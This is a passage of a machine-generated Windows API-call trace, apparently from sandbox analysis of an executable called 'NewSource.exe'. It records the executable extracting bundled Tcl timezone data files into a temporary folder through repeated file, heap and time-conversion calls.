lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.048] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.048] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.048] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.048] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.048] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.048] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.048] CloseHandle (hObject=0x10c) returned 1 [0042.048] GetLastError () returned 0x0 [0042.048] SetLastError (dwErrCode=0x0) [0042.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-10") returned 67 [0042.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-10" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-10"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.048] GetLastError () returned 0x2 [0042.048] SetLastError (dwErrCode=0x2) [0042.048] GetLastError () returned 0x2 [0042.048] SetLastError (dwErrCode=0x2) [0042.048] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-10", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-10", lpFilePart=0x0) returned 0x42 [0042.049] GetLastError () returned 0x2 [0042.049] SetLastError (dwErrCode=0x2) [0042.049] GetLastError () returned 0x2 [0042.049] SetLastError (dwErrCode=0x2) [0042.049] GetLastError () returned 0x2 [0042.049] SetLastError (dwErrCode=0x2) [0042.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-10") returned 67 [0042.049] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.049] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-10" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-10"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.049] GetFileType (hFile=0x10c) returned 0x1 [0042.049] htonl (hostlong=0x73000000) returned 0x73 [0042.050] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.050] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x73, lpOverlapped=0x0) returned 1 [0042.050] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.051] CloseHandle (hObject=0x10c) returned 1 [0042.051] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.051] htonl (hostlong=0x30000000) returned 0x30 [0042.051] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.051] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.051] GetFileType (hFile=0x10c) returned 0x1 [0042.051] htonl (hostlong=0x21bc5b00) returned 0x5bbc21 [0042.051] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606c21, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.051] htonl (hostlong=0x74000000) returned 0x74 [0042.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0042.051] htonl (hostlong=0x74000000) returned 0x74 [0042.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.051] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.051] htonl (hostlong=0x73000000) returned 0x73 [0042.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x550600 [0042.051] htonl (hostlong=0x74000000) returned 0x74 [0042.051] htonl (hostlong=0x73000000) returned 0x73 [0042.051] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.051] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.051] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.051] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.051] CloseHandle (hObject=0x10c) returned 1 [0042.051] GetLastError () returned 0x0 [0042.052] SetLastError (dwErrCode=0x0) [0042.052] GetLastError () returned 0x0 [0042.052] SetLastError (dwErrCode=0x0) [0042.052] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.052] GetFileType (hFile=0x10c) returned 0x1 [0042.052] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.052] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.052] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.052] CloseHandle (hObject=0x10c) returned 1 [0042.052] GetLastError () returned 0x0 [0042.052] SetLastError (dwErrCode=0x0) [0042.052] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.052] GetFileType (hFile=0x10c) returned 0x1 [0042.052] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.052] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.052] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.052] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.053] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.053] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.053] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.053] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.053] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.053] CloseHandle (hObject=0x10c) returned 1 [0042.053] GetLastError () returned 0x0 [0042.053] SetLastError (dwErrCode=0x0) [0042.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.053] GetFileType (hFile=0x10c) returned 0x1 [0042.053] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.053] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.053] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.053] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.053] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.053] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.053] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.053] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.053] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.053] CloseHandle (hObject=0x10c) returned 1 [0042.053] GetLastError () returned 0x0 [0042.053] SetLastError (dwErrCode=0x0) [0042.053] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-11") returned 67 [0042.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-11"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.054] GetLastError () returned 0x2 [0042.054] SetLastError (dwErrCode=0x2) [0042.054] GetLastError () returned 0x2 [0042.054] SetLastError (dwErrCode=0x2) [0042.054] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-11", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-11", lpFilePart=0x0) returned 0x42 [0042.054] GetLastError () returned 0x2 [0042.054] SetLastError (dwErrCode=0x2) [0042.054] GetLastError () returned 0x2 [0042.054] SetLastError (dwErrCode=0x2) [0042.054] GetLastError () returned 0x2 [0042.054] SetLastError (dwErrCode=0x2) [0042.054] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-11") returned 67 [0042.054] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT-11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt-11"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.054] GetFileType (hFile=0x10c) returned 0x1 [0042.054] htonl (hostlong=0x73000000) returned 0x73 [0042.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.054] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x73, lpOverlapped=0x0) returned 1 [0042.055] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.055] CloseHandle (hObject=0x10c) returned 1 [0042.055] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.055] htonl (hostlong=0x30000000) returned 0x30 [0042.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.056] GetFileType (hFile=0x10c) returned 0x1 [0042.056] htonl (hostlong=0x95bc5b00) returned 0x5bbc95 [0042.056] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606c95, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.056] htonl (hostlong=0x74000000) returned 0x74 [0042.056] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x55cfe0 [0042.056] htonl (hostlong=0x74000000) returned 0x74 [0042.056] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.056] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.056] htonl (hostlong=0x73000000) returned 0x73 [0042.056] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x550600 [0042.056] htonl (hostlong=0x74000000) returned 0x74 [0042.056] htonl (hostlong=0x73000000) returned 0x73 [0042.056] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.056] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.056] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.056] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.056] CloseHandle (hObject=0x10c) returned 1 [0042.056] GetLastError () returned 0x0 [0042.056] SetLastError (dwErrCode=0x0) [0042.056] GetLastError () returned 0x0 [0042.056] SetLastError (dwErrCode=0x0) [0042.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.056] GetFileType (hFile=0x10c) returned 0x1 [0042.056] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.056] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.057] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.057] CloseHandle (hObject=0x10c) returned 1 [0042.057] GetLastError () returned 0x0 [0042.057] SetLastError (dwErrCode=0x0) [0042.057] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.057] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.057] GetFileType (hFile=0x10c) returned 0x1 [0042.057] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.057] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.057] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.057] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.057] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.057] CloseHandle (hObject=0x10c) returned 1 [0042.057] GetLastError () returned 0x0 [0042.057] SetLastError (dwErrCode=0x0) [0042.058] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.058] GetFileType (hFile=0x10c) returned 0x1 [0042.058] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.058] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.058] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.058] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.058] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.058] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.058] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.058] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.058] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.058] CloseHandle (hObject=0x10c) returned 1 [0042.058] GetLastError () returned 0x0 [0042.058] SetLastError (dwErrCode=0x0) [0042.058] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 